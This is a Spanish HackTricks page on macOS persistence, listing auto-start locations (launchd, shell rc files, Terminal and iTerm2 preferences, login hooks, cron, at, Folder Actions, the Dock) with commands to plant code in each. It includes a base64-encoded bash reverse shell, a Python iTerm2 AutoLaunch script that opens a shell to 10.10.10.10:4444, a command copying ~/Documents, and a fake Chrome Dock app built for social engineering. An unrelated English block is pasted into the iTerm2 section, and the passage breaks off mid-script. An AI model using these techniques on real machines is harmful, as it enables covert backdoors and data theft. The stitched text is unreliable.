hacktricks/macos-hardening/macos-auto-start-locations.md

Inicio Automático en macOS

Aprende a hackear AWS desde cero hasta convertirte en un experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

• Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF ¡Consulta los PLANES DE SUSCRIPCIÓN!
• Obtén productos oficiales de PEASS & HackTricks
• Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
• Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @carlospolopm.
• Comparte tus trucos de hacking enviando PRs a los repositorios de HackTricks y HackTricks Cloud.

Esta sección se basa en gran medida en la serie de blogs Beyond the good ol' LaunchAgents, el objetivo es agregar más ubicaciones de inicio automático (si es posible), indicar qué técnicas siguen funcionando en la actualidad con la última versión de macOS (13.4) y especificar los permisos necesarios.

Bypass de la Caja de Arena

{% hint style="success" %} Aquí puedes encontrar ubicaciones de inicio útiles para bypass de la caja de arena que te permite simplemente ejecutar algo escribiéndolo en un archivo y esperando una acción muy común, una cantidad determinada de tiempo o una acción que normalmente puedes realizar desde dentro de una caja de arena sin necesidad de permisos de root. {% endhint %}

Launchd

• Útil para bypass de la caja de arena: ✅
• Bypass de TCC: 🔴

Ubicaciones

• /Library/LaunchAgents
• Disparador: Reinicio
• Se requiere permisos de root
• /Library/LaunchDaemons
• Disparador: Reinicio
• Se requiere permisos de root
• /System/Library/LaunchAgents
• Disparador: Reinicio
• Se requiere permisos de root
• /System/Library/LaunchDaemons
• Disparador: Reinicio
• Se requiere permisos de root
• ~/Library/LaunchAgents
• Disparador: Volver a iniciar sesión
• ~/Library/LaunchDemons
• Disparador: Volver a iniciar sesión

Descripción y Explotación

launchd es el primer proceso ejecutado por el kernel de OX S al inicio y el último en finalizar al apagar. Siempre debería tener el PID 1. Este proceso leerá y ejecutará las configuraciones indicadas en los plists de ASEP en:

• /Library/LaunchAgents: Agentes por usuario instalados por el administrador
• /Library/LaunchDaemons: Demonios de todo el sistema instalados por el administrador
• /System/Library/LaunchAgents: Agentes por usuario proporcionados por Apple.
• /System/Library/LaunchDaemons: Demonios de todo el sistema proporcionados por Apple.

Cuando un usuario inicia sesión, los plists ubicados en /Users/$USER/Library/LaunchAgents y /Users/$USER/Library/LaunchDemons se inician con los permisos de los usuarios conectados.

La diferencia principal entre agentes y demonios es que los agentes se cargan cuando el usuario inicia sesión y los demonios se cargan al inicio del sistema (ya que hay servicios como ssh que necesitan ejecutarse antes de que cualquier usuario acceda al sistema). Además, los agentes pueden usar la interfaz gráfica mientras que los demonios deben ejecutarse en segundo plano.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.apple.someidentifier</string>
<key>ProgramArguments</key>
<array>
<string>bash -c 'touch /tmp/launched'</string> <!--Prog to execute-->
</array>
<key>RunAtLoad</key><true/> <!--Execute at system startup-->
<key>StartInterval</key>
<integer>800</integer> <!--Execute each 800s-->
<key>KeepAlive</key>
<dict>
<key>SuccessfulExit</key></false> <!--Re-execute if exit unsuccessful-->
<!--If previous is true, then re-execute in successful exit-->
</dict>
</dict>
</plist>

Hay casos en los que un agente necesita ser ejecutado antes de que el usuario inicie sesión, estos se llaman PreLoginAgents. Por ejemplo, esto es útil para proporcionar tecnología de asistencia en el inicio de sesión. También se pueden encontrar en /Library/LaunchAgents (ver aquí un ejemplo).

{% hint style="info" %} Los nuevos archivos de configuración de Daemons o Agents se cargarán después del próximo reinicio o usando launchctl load <target.plist> También es posible cargar archivos .plist sin esa extensión con launchctl -F <file> (sin embargo, esos archivos plist no se cargarán automáticamente después del reinicio).
También es posible descargar con launchctl unload <target.plist> (el proceso al que apunta será terminado).

Para asegurarse de que no haya nada (como una anulación) impidiendo que un Agente o Daemon se ejecute, ejecute: sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.smdb.plist {% endhint %}

Listar todos los agentes y daemons cargados por el usuario actual:

launchctl list

{% hint style="warning" %} Si un plist es propiedad de un usuario, incluso si está en carpetas de sistema de demonios, la tarea se ejecutará como el usuario y no como root. Esto puede prevenir algunos ataques de escalada de privilegios. {% endhint %}

archivos de inicio de shell

Writeup: https://theevilbit.github.io/beyond/beyond_0001/
Writeup (xterm): https://theevilbit.github.io/beyond/beyond_0018/

• Útil para evitar la sandbox: ✅
• Bypass de TCC: ✅
• Pero necesitas encontrar una aplicación con un bypass de TCC que ejecute un shell que cargue estos archivos

Ubicaciones

• ~/.zshrc, ~/.zlogin, ~/.zshenv.zwc, ~/.zshenv, ~/.zprofile
• Disparador: Abrir una terminal con zsh
• /etc/zshenv, /etc/zprofile, /etc/zshrc, /etc/zlogin
• Disparador: Abrir una terminal con zsh
• Se requiere permisos de root
• ~/.zlogout
• Disparador: Salir de una terminal con zsh
• /etc/zlogout
• Disparador: Salir de una terminal con zsh
• Se requiere permisos de root
• Potencialmente más en: man zsh
• ~/.bashrc
• Disparador: Abrir una terminal con bash
• /etc/profile (no funcionó)
• ~/.profile (no funcionó)
• ~/.xinitrc, ~/.xserverrc, /opt/X11/etc/X11/xinit/xinitrc.d/
• Disparador: Se espera que se active con xterm, pero no está instalado y aún después de instalarlo se muestra este error: xterm: DISPLAY no está configurado

Descripción y Explotación

Al iniciar un entorno de shell como zsh o bash, se ejecutan ciertos archivos de inicio. Actualmente, macOS utiliza /bin/zsh como shell predeterminado. Este shell se accede automáticamente cuando se inicia la aplicación Terminal o cuando se accede a un dispositivo a través de SSH. Aunque bash y sh también están presentes en macOS, deben ser invocados explícitamente para ser utilizados.

La página de manual de zsh, que podemos leer con man zsh, tiene una larga descripción de los archivos de inicio.

# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc

Aplicaciones Reabiertas

{% hint style="danger" %} Configurar la explotación indicada y cerrar sesión e iniciar sesión o incluso reiniciar no funcionó para mí para ejecutar la aplicación. (La aplicación no se estaba ejecutando, tal vez necesita estar en ejecución cuando se realizan estas acciones) {% endhint %}

Descripción: https://theevilbit.github.io/beyond/beyond_0021/

• Útil para evadir el sandbox: ✅
• Bypass de TCC: 🔴

Ubicación

• ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
• Disparador: Reiniciar aplicaciones al reabrir

Descripción y Explotación

Todas las aplicaciones a reabrir están dentro del plist ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Por lo tanto, para hacer que las aplicaciones reabiertas lancen la suya, solo necesita agregar su aplicación a la lista.

El UUID se puede encontrar enumerando ese directorio o con ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'

Para verificar las aplicaciones que se reabrirán, puede hacer:

defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Para agregar una aplicación a esta lista puedes usar:

# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist

Preferencias de Terminal

• Útil para evitar la sandbox: ✅
• Bypass de TCC: ✅
• Terminal usa permisos de FDA si el usuario lo utiliza

Ubicación

• ~/Library/Preferences/com.apple.Terminal.plist
• Desencadenante: Abrir Terminal

Descripción y Explotación

En ~/Library/Preferences se almacenan las preferencias del usuario en las aplicaciones. Algunas de estas preferencias pueden contener una configuración para ejecutar otras aplicaciones/scripts.

Por ejemplo, Terminal puede ejecutar un comando al iniciar:

Esta configuración se refleja en el archivo ~/Library/Preferences/com.apple.Terminal.plist de la siguiente manera:

[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]

Entonces, si se pudiera sobrescribir el plist de las preferencias del terminal en el sistema, la funcionalidad open se puede utilizar para abrir el terminal y ejecutar ese comando.

Puedes agregar esto desde la línea de comandos con:

{% code overflow="wrap" %}

# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist

# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist

{% endcode %}

Scripts de Terminal / Otras extensiones de archivo

• Útil para evadir el sandbox: ✅
• Bypass de TCC: ✅
• El uso de Terminal permite tener permisos de FDA si el usuario lo utiliza

Ubicación

• En cualquier lugar
• Desencadenante: Abrir Terminal

Descripción y Explotación

Si creas un script .terminal y lo abres, la aplicación Terminal se invocará automáticamente para ejecutar los comandos indicados en él. Si la aplicación Terminal tiene algunos privilegios especiales (como TCC), tu comando se ejecutará con esos privilegios especiales.

Pruébalo con:

# Prepare the payload
cat > /tmp/test.terminal << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CommandString</key>
<string>mkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;</string>
<key>ProfileCurrentVersion</key>
<real>2.0600000000000001</real>
<key>RunCommandAsShell</key>
<false/>
<key>name</key>
<string>exploit</string>
<key>type</key>
<string>Window Settings</string>
</dict>
</plist>
EOF

# Trigger it
open /tmp/test.terminal

# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>

Extensiones de Audio

Descripción: https://theevilbit.github.io/beyond/beyond_0013/
Descripción: https://posts.specterops.io/audio-unit-plug-ins-896d3434a882

• Útil para evadir el sandbox: ✅
• Bypass de TCC: 🟠
• Podrías obtener acceso adicional a TCC

Ubicación

• /Library/Audio/Plug-Ins/HAL
• Se requieren permisos de root
• Disparador: Reiniciar coreaudiod o la computadora
• /Library/Audio/Plug-ins/Components
• Se requieren permisos de root
• Disparador: Reiniciar coreaudiod o la computadora
• ~/Library/Audio/Plug-ins/Components
• Disparador: Reiniciar coreaudiod o la computadora
• /System/Library/Components
• Se requieren permisos de root
• Disparador: Reiniciar coreaudiod o la computadora

Descripción

Según las descripciones anteriores, es posible compilar algunos plugins de audio y cargarlos.

Extensiones de QuickLook

Descripción: https://theevilbit.github.io/beyond/beyond_0028/

• Útil para evadir el sandbox: ✅
• Bypass de TCC: 🟠
• Podrías obtener acceso adicional a TCC

Ubicación

• /System/Library/QuickLook
• /Library/QuickLook
• ~/Library/QuickLook
• /Applications/AppNameHere/Contents/Library/QuickLook/
• ~/Applications/AppNameHere/Contents/Library/QuickLook/

Descripción y Explotación

Las extensiones de QuickLook se pueden ejecutar cuando se activa la vista previa de un archivo (presionando la barra espaciadora con el archivo seleccionado en Finder) y se instala un plugin que admita ese tipo de archivo.

Es posible compilar tu propia extensión de QuickLook, colocarla en una de las ubicaciones anteriores para cargarla y luego ir a un archivo compatible y presionar espacio para activarla.

Ganchos de Inicio/Cierre de Sesión

{% hint style="danger" %} Esto no funcionó para mí, ni con el LoginHook de usuario ni con el LogoutHook de root {% endhint %}

Descripción: https://theevilbit.github.io/beyond/beyond_0022/

• Útil para evadir el sandbox: ✅
• Bypass de TCC: 🔴

Ubicación

• Necesitas poder ejecutar algo como defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
• Localizado en ~/Library/Preferences/com.apple.loginwindow.plist

Están obsoletos pero se pueden usar para ejecutar comandos cuando un usuario inicia sesión.

cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh

Este ajuste se almacena en /Users/$USER/Library/Preferences/com.apple.loginwindow.plist

defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}

Para eliminarlo:

defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook

El usuario root se almacena en /private/var/root/Library/Preferences/com.apple.loginwindow.plist

Bypass de Sandbox Condicional

{% hint style="success" %} Aquí puedes encontrar ubicaciones de inicio útiles para bypass de sandbox que te permite simplemente ejecutar algo escribiéndolo en un archivo y esperando condiciones no muy comunes como programas específicos instalados, acciones de usuario "poco comunes" o entornos. {% endhint %}

Cron

Descripción: https://theevilbit.github.io/beyond/beyond_0004/

• Útil para bypass de sandbox: ✅
• Sin embargo, necesitas poder ejecutar el binario crontab
• O ser root
• Bypass de TCC: 🔴

Ubicación

• /usr/lib/cron/tabs/, /private/var/at/tabs, /private/var/at/jobs, /etc/periodic/
• Se requiere ser root para acceso de escritura directa. No se requiere ser root si puedes ejecutar crontab <archivo>
• Disparador: Depende del trabajo cron

Descripción y Explotación

Lista los trabajos cron del usuario actual con:

crontab -l

También puedes ver todos los trabajos cron de los usuarios en /usr/lib/cron/tabs/ y /var/at/tabs/ (necesita permisos de root).

En MacOS se pueden encontrar varias carpetas que ejecutan scripts con cierta frecuencia en:

# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/

Aquí puedes encontrar los trabajos cron regulares, los trabajos at (poco utilizados) y los trabajos periódicos (principalmente utilizados para limpiar archivos temporales). Los trabajos periódicos diarios se pueden ejecutar, por ejemplo, con: periodic daily.

Para agregar un trabajo cron de usuario programáticamente es posible utilizar:

echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron

iTerm2

Descripción: https://theevilbit.github.io/beyond/beyond_0002/

• Útil para evadir el sandbox: ✅
• Bypass de TCC: ✅
• iTerm2 solía tener permisos TCC otorgados

Ubicaciones

• ~/Library/Application Support/iTerm2/Scripts/AutoLaunch
• Disparador: Abrir iTerm
• ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt
• Disparador: Abrir iTerm
• ~/Library/Preferences/com.googlecode.iterm2.plist
• Disparador: Abrir iTerm

Descripción y Explotación

Los scripts almacenados en ~/Library/Application Support/iTerm2/Scripts/AutoLaunch serán ejecutados. Por ejemplo:

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF

chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"

macOS Auto Start Locations

Launch Agents

Launch Agents are used to run processes when a user logs in. They are stored in ~/Library/LaunchAgents/ and /Library/LaunchAgents/.

Launch Daemons

Launch Daemons are used to run processes at system startup. They are stored in /Library/LaunchDaemons/.

Login Items

Login Items are applications that open when a user logs in. They are managed in System Preferences > Users & Groups > Login Items.

Startup Items

Startup Items are legacy items that automatically launch when a user logs in. They are stored in /Library/StartupItems/.

cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os

async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)

iterm2.run_forever(main)
EOF

El script ~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt también se ejecutará:

do shell script "touch /tmp/iterm2-autolaunchscpt"

El archivo de preferencias de iTerm2 ubicado en ~/Library/Preferences/com.googlecode.iterm2.plist puede indicar un comando a ejecutar cuando se abre el terminal de iTerm2.

Esta configuración se puede ajustar en la configuración de iTerm2:

Y el comando se refleja en las preferencias:

plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"

Puedes configurar el comando a ejecutar con:

{% code overflow="wrap" %}

# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist

# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2

# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist

{% endcode %}

{% hint style="warning" %} Es altamente probable que haya otras formas de abusar de las preferencias de iTerm2 para ejecutar comandos arbitrarios. {% endhint %}

xbar

Descripción: https://theevilbit.github.io/beyond/beyond_0007/

• Útil para evadir el sandbox: ✅
• Pero xbar debe estar instalado
• Bypass de TCC: ✅
• Requiere permisos de Accesibilidad

Ubicación

• ~/Library/Application\ Support/xbar/plugins/
• Disparador: Una vez que xbar es ejecutado

Descripción

Si el popular programa xbar está instalado, es posible escribir un script de shell en ~/Library/Application\ Support/xbar/plugins/ que se ejecutará al iniciar xbar:

cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"

Hammerspoon

Descripción: https://theevilbit.github.io/beyond/beyond_0008/

• Útil para evadir el sandbox: ✅
• Pero Hammerspoon debe estar instalado
• Bypass de TCC: ✅
• Requiere permisos de Accesibilidad

Ubicación

• ~/.hammerspoon/init.lua
• Disparador: Una vez que se ejecuta Hammerspoon

Descripción

Hammerspoon sirve como una plataforma de automatización para macOS, aprovechando el lenguaje de script LUA para sus operaciones. Destacablemente, admite la integración de código completo de AppleScript y la ejecución de scripts de shell, mejorando significativamente sus capacidades de scripting.

La aplicación busca un único archivo, ~/.hammerspoon/init.lua, y cuando se inicia, se ejecutará el script.

mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
EOF

SSHRC

Escritura: https://theevilbit.github.io/beyond/beyond_0006/

• Útil para evadir el sandbox: ✅
• Pero se necesita tener habilitado y usar SSH
• Bypass de TCC: ✅
• SSH solía tener acceso a la FDA

Ubicación

• ~/.ssh/rc
• Desencadenante: Inicio de sesión a través de ssh
• /etc/ssh/sshrc
• Se requiere acceso de root
• Desencadenante: Inicio de sesión a través de ssh

{% hint style="danger" %} Para activar SSH se requiere Acceso Completo al Disco:

sudo systemsetup -setremotelogin on

{% endhint %}

Descripción y Explotación

Por defecto, a menos que PermitUserRC no en /etc/ssh/sshd_config, cuando un usuario inicia sesión a través de SSH los scripts /etc/ssh/sshrc y ~/.ssh/rc se ejecutarán.

Elementos de inicio de sesión

Descripción: https://theevilbit.github.io/beyond/beyond_0003/

• Útil para evadir la sandbox: ✅
• Pero necesitas ejecutar osascript con argumentos
• Bypass de TCC: 🔴

Ubicaciones

• ~/Library/Application Support/com.apple.backgroundtaskmanagementagent
• Disparador: Inicio de sesión
• Carga útil de explotación almacenada llamando a osascript
• /var/db/com.apple.xpc.launchd/loginitems.501.plist
• Disparador: Inicio de sesión
• Se requiere permisos de root

Descripción

En Preferencias del Sistema -> Usuarios y Grupos -> Elementos de inicio de sesión puedes encontrar elementos que se ejecutarán cuando el usuario inicie sesión.
Es posible listarlos, agregar y eliminar desde la línea de comandos:

#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'

#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'

#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'

Estos elementos se almacenan en el archivo ~/Library/Application Support/com.apple.backgroundtaskmanagementagent

Los elementos de inicio de sesión también se pueden indicar utilizando la API SMLoginItemSetEnabled que almacenará la configuración en /var/db/com.apple.xpc.launchd/loginitems.501.plist

ZIP como Elemento de Inicio de Sesión

(Consulte la sección anterior sobre Elementos de Inicio de Sesión, esta es una extensión)

Si almacenas un archivo ZIP como un Elemento de Inicio de Sesión, el Archive Utility lo abrirá y si el zip, por ejemplo, se almacenó en ~/Library y contenía la carpeta LaunchAgents/file.plist con un backdoor, esa carpeta se creará (no lo está por defecto) y el plist se agregará para que la próxima vez que el usuario vuelva a iniciar sesión, se ejecute el backdoor indicado en el plist.

Otra opción sería crear los archivos .bash_profile y .zshenv dentro del directorio HOME del usuario, por lo que si la carpeta LaunchAgents ya existe, esta técnica seguiría funcionando.

At

Artículo: https://theevilbit.github.io/beyond/beyond_0014/

• Útil para evadir el sandbox: ✅
• Pero necesitas ejecutar at y debe estar habilitado
• Bypass de TCC: 🔴

Ubicación

• Necesitas ejecutar at y debe estar habilitado

Descripción

Las tareas de at están diseñadas para programar tareas únicas que se ejecutarán en momentos específicos. A diferencia de los trabajos cron, las tareas de at se eliminan automáticamente después de la ejecución. Es crucial tener en cuenta que estas tareas son persistentes a través de reinicios del sistema, lo que las convierte en posibles preocupaciones de seguridad bajo ciertas condiciones.

Por defecto están deshabilitadas, pero el usuario root puede habilitarlas con:

sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist

Esto creará un archivo en 1 hora:

echo "echo 11 > /tmp/at.txt" | at now+1

Verifique la cola de trabajos usando atq:

sh-3.2# atq
26	Tue Apr 27 00:46:00 2021
22	Wed Apr 28 00:29:00 2021

Arriba podemos ver dos trabajos programados. Podemos imprimir los detalles del trabajo usando at -c JOBNUMBER

sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
echo 'Execution directory inaccessible' >&2
exit 1
}
unset OLDPWD
echo 11 > /tmp/at.txt

{% hint style="warning" %} Si las tareas de AT no están habilitadas, las tareas creadas no se ejecutarán. {% endhint %}

Los archivos de tarea se pueden encontrar en /private/var/at/jobs/

sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r--  1 root  wheel    6 Apr 27 00:46 .SEQ
-rw-------  1 root  wheel    0 Apr 26 23:17 .lockfile
-r--------  1 root  wheel  803 Apr 27 00:46 a00019019bdcd2
-rwx------  1 root  wheel  803 Apr 27 00:46 a0001a019bdcd2

El nombre de archivo contiene la cola, el número de trabajo y la hora programada para ejecutarse. Por ejemplo, veamos a0001a019bdcd2.

• a - esta es la cola
• 0001a - número de trabajo en hexadecimal, 0x1a = 26
• 019bdcd2 - hora en hexadecimal. Representa los minutos transcurridos desde la época. 0x019bdcd2 es 26991826 en decimal. Si lo multiplicamos por 60 obtenemos 1619509560, que es GMT: 2021. April 27., Tuesday 7:46:00.

Si imprimimos el archivo de trabajo, encontramos que contiene la misma información que obtuvimos usando at -c.

Acciones de Carpeta

Análisis: https://theevilbit.github.io/beyond/beyond_0024/
Análisis: https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d

• Útil para evadir el sandbox: ✅
• Pero necesitas poder llamar a osascript con argumentos para contactar a System Events y poder configurar Acciones de Carpeta
• Bypass de TCC: 🟠
• Tiene algunos permisos básicos de TCC como Escritorio, Documentos y Descargas

Ubicación

• /Library/Scripts/Folder Action Scripts
• Se requiere permisos de root
• Disparador: Acceso a la carpeta especificada
• ~/Library/Scripts/Folder Action Scripts
• Disparador: Acceso a la carpeta especificada

Descripción y Explotación

Las Acciones de Carpeta son scripts que se activan automáticamente por cambios en una carpeta, como agregar, quitar elementos u otras acciones como abrir o cambiar el tamaño de la ventana de la carpeta. Estas acciones pueden ser utilizadas para diversas tareas y pueden ser activadas de diferentes formas, como usando la interfaz de Finder o comandos de terminal.

Para configurar Acciones de Carpeta, tienes opciones como:

1. Crear un flujo de trabajo de Acción de Carpeta con Automator e instalarlo como un servicio.
2. Adjuntar un script manualmente a través de la Configuración de Acciones de Carpeta en el menú contextual de una carpeta.
3. Utilizar OSAScript para enviar mensajes de Evento Apple a la aplicación System Events.app para configurar programáticamente una Acción de Carpeta.

• Este método es particularmente útil para incrustar la acción en el sistema, ofreciendo un nivel de persistencia.

El siguiente script es un ejemplo de lo que puede ser ejecutado por una Acción de Carpeta:

// source.js
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");

Para hacer que el script anterior sea utilizable por las Acciones de Carpeta, compílalo usando:

osacompile -l JavaScript -o folder.scpt source.js

Una vez que el script esté compilado, configura las Acciones de Carpeta ejecutando el script a continuación. Este script habilitará las Acciones de Carpeta de forma global y adjuntará específicamente el script previamente compilado a la carpeta de Escritorio.

// Enabling and attaching Folder Action
var se = Application("System Events");
se.folderActionsEnabled = true;
var myScript = se.Script({name: "source.js", posixPath: "/tmp/source.js"});
var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
se.folderActions.push(fa);
fa.scripts.push(myScript);

Ejecuta el script de configuración con:

osascript -l JavaScript /Users/username/attach.scpt

• Esta es la forma de implementar esta persistencia a través de la GUI:

Este es el script que se ejecutará:

{% code title="source.js" %}

var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");

{% endcode %}

Compílalo con: osacompile -l JavaScript -o folder.scpt source.js

Muévelo a:

mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"

Luego, abre la aplicación Folder Actions Setup, selecciona la carpeta que deseas vigilar y selecciona en tu caso folder.scpt (en mi caso lo llamé output2.scp):

Ahora, si abres esa carpeta con Finder, tu script se ejecutará.

Esta configuración se almacenó en el plist ubicado en ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist en formato base64.

Ahora, intentemos preparar esta persistencia sin acceso a la GUI:

1. Copia ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist a /tmp para hacer una copia de seguridad:

• cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp

2. Elimina las Acciones de Carpeta que acabas de configurar:

Ahora que tenemos un entorno vacío

3. Copia el archivo de respaldo: cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/
4. Abre la aplicación Folder Actions Setup para consumir esta configuración: open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"

{% hint style="danger" %} Y esto no funcionó para mí, pero esas son las instrucciones del informe :( {% endhint %}

Accesos directos del Dock

Informe: https://theevilbit.github.io/beyond/beyond_0027/

• Útil para evadir el sandbox: ✅
• Pero necesitas tener instalada una aplicación maliciosa dentro del sistema
• Bypass de TCC: 🔴

Ubicación

• ~/Library/Preferences/com.apple.dock.plist
• Disparador: Cuando el usuario hace clic en la aplicación dentro del dock

Descripción y Explotación

Todas las aplicaciones que aparecen en el Dock están especificadas dentro del plist: ~/Library/Preferences/com.apple.dock.plist

Es posible agregar una aplicación solo con:

{% code overflow="wrap" %}

# Add /System/Applications/Books.app
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/System/Applications/Books.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'

# Restart Dock
killall Dock

{% endcode %}

Usando algo de ingeniería social podrías hacerte pasar por ejemplo por Google Chrome dentro del dock y realmente ejecutar tu propio script:

#!/bin/sh

# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)

rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null

# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources

# Payload to execute
echo '#!/bin/sh
open /Applications/Google\ Chrome.app/ &
touch /tmp/ImGoogleChrome' > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome

